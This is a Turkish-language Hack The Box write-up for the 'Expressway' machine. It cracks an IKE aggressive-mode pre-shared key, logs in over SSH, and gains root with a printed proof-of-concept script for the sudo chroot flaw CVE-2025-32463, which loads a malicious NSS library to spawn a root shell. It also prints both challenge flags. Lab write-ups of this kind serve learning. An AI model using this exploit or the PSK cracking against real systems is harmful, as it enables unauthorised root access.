

HTB EXPRESSWAY

Herkese merhaba bugün hackthebox da expressway makinesini çözüyoruz

Makineyi /etc/hosts a ekledikten sonra bir nmap taraması ile işe başlıyorum.

```
(root@kali) ~# nmap 10.129.238.52
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-20 14:59 +03
Nmap scan report for Expressway.htb (10.129.238.52)
Host is up (0.23s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh

Nmap done: 1 IP address (1 host up) scanned in 2.69 seconds

(root@kali) ~# nmap -p- -sC -sV 10.129.238.52
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-20 15:04 +03

(root@kali) ~# nmap -sU -p500 10.129.238.52
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-20 15:06 +03
Nmap scan report for Expressway.htb (10.129.238.52)
Host is up (0.15s latency).

PORT      STATE SERVICE
500/udp   open  isakmp
```

Burada şöyle bir durum yaşadık ilk yaptığım sade olan nmap taramasında sadece ssh portunun açık olduğunu gördüm ama bu bizim için yeterli değildi taramayı genişletince 500/udp portunun da açık olduğunu görmüş olduk.

Şimdi bu port açık olduğu için bir ike taraması yapacağız.

```
ike-scan -A 10.129.238.52
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.238.52 Aggressive Mode Handshake returned HDR=(CKY-R=6d602b92da0977e0) SA=(Enc=3DES Hash=SHA1 Group=2
:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER
_FQDN, Value=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer
Detection v1.0) Hash(20 bytes)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.160 seconds (6.24 hosts/sec). 1 returned handshake; 0 returned no
tify
```

Buradan bir hash olduğunu öğreniyoruz aslında ve onu çıkarıp çözmeye çalışacağız ki ssh alalım.

```

ike-scan -A 10.129.238.52 --id=ike@expressway.htb --pskCrack
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
0.129.238.52 Aggressive Mode Handshake returned HDR=(CKY-R=f0248d0d92089e6d) SA=(Enc=3DES Hash=SHA1 Group=2:modp
024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, Val
e=ike@expressway.htb) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
107053aec3f12a27beba874d9551341e7c133cea3102b2462ed7b491edd0b471977c8282d18afd45ba5c9ea2165c73cde73b772802a9df0c5b
'aedf5771cf766517052caa5321dab95bae2363b774e5b04e421a41be400ee979119edac10b8958b2fc879e77515cb6aeeef9a02a83cf1a03cf9
150a3857e4cccc06d235c661e25:f3821668f1bbe3e4232586a864c593b7910ef7a711f87c1744071ce698ddf1dda76af2a630a3d013b52ec79a
'ea7d48f5523a3f38e0ab599325d514846d3c703f6e5c3d0ccaff55daf53008e52609b9fffc97d3b58c33a4cc263809ee2e9b0931e74f92b78d
'95561626f6d37d00cddb2b8a1b11d19389fcfd413474013012087:f0248d0d92089e6d:bf761e47d2682ac5:000000010000000100000098010
.0004030000240101000080010005800200028003000180040002800b0001000c00040000708003000024020100008001000580020001800300
180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240
01000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:679fe1
15c9c4aa34ce67cbafa81ab4e4c9bc4875:a93802a04f9d4fc6b5d1d32724434a38bf3a142bd779cd7a93215d8ae7fff330:4e4e8d8158ab2fb
1fc1f62bdcf227359ad374fe9

Ending ike-scan 1.9.6: 1 hosts scanned in 0.160 seconds (6.26 hosts/sec). 1 returned handshake; 0 returned notify

```

```

hashcat -m 5400 ikehash.txt /usr/share/wordlists/rockyou.txt --show
947967061f7ce64c26c13908908776a65ef63893082a11d8719b0105b3641336d1c458990d843d1d85ce5719bccc625525f4675be2853c1a973
deca07cf20ff7d7b9289dfffe2804b0ff70776fa7afa76a549840cf3ed3885aa32088a477ddcbdb4fdbfead28d34776b800f57ae98f80f513bda
82612dc897def4a44035d51f33:c661e7ded3fa7e216a3ec6d0be6664e9c9fc513116ce72330ece27465284cc78b08aee4def623a232bb2b828
c515a6ecad637e5ee148769ed325383081a1c1cdedfced9f9c83c174da3abf1beed903d4dff2ddc87843ea7716c9a528ab8967636a140e5542
509c8f34264c1146423a06ff93ad1585d73051fa0d88beab0a696:8b1a1f78ce1395d2:331d5ee6ef0ca10b:000000010000000100000098010
10004030000240101000080010005800200028003000180040002800b0001000c00040000708003000024020100008001000580020001800300
0180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240
401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e68:0d5eea2a6b
c9750ab2641fa794d3a879f65b669e:9053e4888a22d4e82fc319917df49849a1d33a51c05226180cb53c2947d74e4f:e283a11e2aea6cac00d
edac82541be72c4f492e0:freackingrockstarontheroad

```

Hashi çıkarıp kırdıktan sonra ssh bağlantısına sıra geliyor.

```

ssh ike@expressway.htb
The authenticity of host 'expressway.htb (10.129.238.52)' can't be established.
ED25519 key fingerprint is SHA256:fZLjHktV7oXzFz9v3ylWFE48S9rECyxSHdlLrfxRM8g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'expressway.htb' (ED25519) to the list of known hosts.
ike@expressway.htb's password:
Last login: Wed Sep 17 12:19:40 BST 2025 from 10.10.14.64 on ssh
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 20 12:31:24 2026 from 10.10.14.206
ike@expressway:~$ ls
user.txt
ike@expressway:~$ cat user.txt
e28decc9d5988ba517bb8df5d81c4896
ike@expressway:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.

```

Arkadaşlar ssh bağlantısını aldıktan sonra çok rahat bir şekilde user.txt çekiyoruz. User.txt için herhangi bir önlem yoktu artık gözümüzü root olma yoluna dikeyoruz.

Sudo -l bize yardımcı olmuyor. Bunun yerine sudo --version ile sudonun versiyonunu kontrol ediyoruz.

```
Password:
Sorry, try again.
Password:
Sorry, user ike may not run sudo on expressway.
ike@expressway:~$ sudo --version
Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17
ike@expressway:~$ cd /tmp
ike@expressway:/tmp$ nano exploit.sh
ike@expressway:/tmp$ chmod +x exploit.sh
ike@expressway:/tmp$ ./exploit.sh
woot!
Password:
sudo: you are not permitted to use the -R option with woot
```

Sudo version 1.9.17 sonrasında Google da bir araştırma yapıyoruz.

sudo version 1.9.17

Tümü Videolar Kısa videolar Alışveriş Görseller Haberler Web Daha fazla + Ar

 Reddit · r/debian
8 yorum · 7 ay önce

sudo ile ilgili büyük bir güvenlik sorunu mu var? Diyor ki ...

Diyor ki yama 1.9.17 ama sudo en güncel sürümün 1.9.13 olduğunu ... Bu, 1.9.13p3-1+deb12u1 için bir güncelleme idi ve bu da Debian 12.0'da ...

 Upwind
<https://www.upwind.io> > Feed

CVE-2025-32463: Kritik Sudo "chroot" Ayrıcalık Yükseltme ...

3 Tem 2025 — sudo'da (Değişiklik Günlüğü v1.9.14–1.9.17) bulunan kritik bir güvenlik açığı, yerel kullanıcıların --chroot (-R) seçeneği aracılığıyla root ...

Google tarafından çevrildi · [Orijinali göster \(English\)](#)

```
Files
man
Go to file
README.md
chroot-demo.c
sudo-chroot.sh

CVE-2025-32463-sudo-chroot / sudo-chroot.sh
mirchr Add PoC for CVE-2025-32463 Sudo chroot EoP
azded57 · 8 months ago · History

Code Blame 27 lines (23 loc) · 637 Bytes
1 #!/bin/bash
2 # sudo-chroot.sh
3 # CVE-2025-32463 - Sudo EoP Exploit PoC by Rich Mirch
4 # @ Stratoscale Cyber Research Unit (CRU)
5 STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
6 cd $STAGE || exit 1
7
8 cat > woot1337.c<<EOF
9 #include <stdlib.h>
10 #include <unistd.h>
11
12 __attribute__((constructor)) void woot(void) {
13     setuid(0);
14     setregid(0,0);
15     chdir("/");
16     exec("/bin/bash", "/bin/bash", NULL);
17 }
18 EOF
19
20 mkdir -p woot/etc libnss_
21 echo "passwd: 'woot1337'" > woot/etc/nsswitch.conf
22 cp /etc/group woot/etc
23 gcc -shared -fPIC -Wl,-init,woot -o libnss_woot1337.so.2 woot1337.c
24
25 echo "woot!"
26 sudo -R woot woot
27 rm -rf $STAGE
```

Bu exploit'i Shell içerisinde nano ile bir dosyaya kaydedip çalıştırıyoruz ve root oluyoruz.

```
Sudoers audit plugin version 1.9.17
ike@expressway:~$ cd /tmp
ike@expressway:/tmp$ nano exploit.sh
ike@expressway:/tmp$ chmod +x exploit.sh
ike@expressway:/tmp$ ./exploit.sh
woot!
Password:
sudo: you are not permitted to use the -R option with woot
ike@expressway:/tmp$ ./exploit.sh
woot!
Password:
jbbSorry, try again.
Password:
Sorry, try again.
Password:
sudo: you are not permitted to use the -R option with woot
ike@expressway:/tmp$ nano exploit.sh
ike@expressway:/tmp$ chmod +x exploit.sh
ike@expressway:/tmp$ ./exploit.sh
woot!
root@expressway:/# ls
bin  dev  home  initrd.img.old  lib64  media  opt  root  sbin  sys  usr  vmlinuz
boot  etc  initrd.img  lib  lost+found  mnt  proc  run  srv  tmp  var  vmlinuz.old
root@expressway:/# cd root
root@expressway:/root# ls
root.txt
root@expressway:/root# cat root.txt
cec06478ce2603851dbbf26033fcf49b
root@expressway:/root#
```

Root olduktan sonra bir ls atıyoruz root.txt göremiyoruz ama root dizinini görüp oraya gidiyoruz ve flagimizi alıyoruz.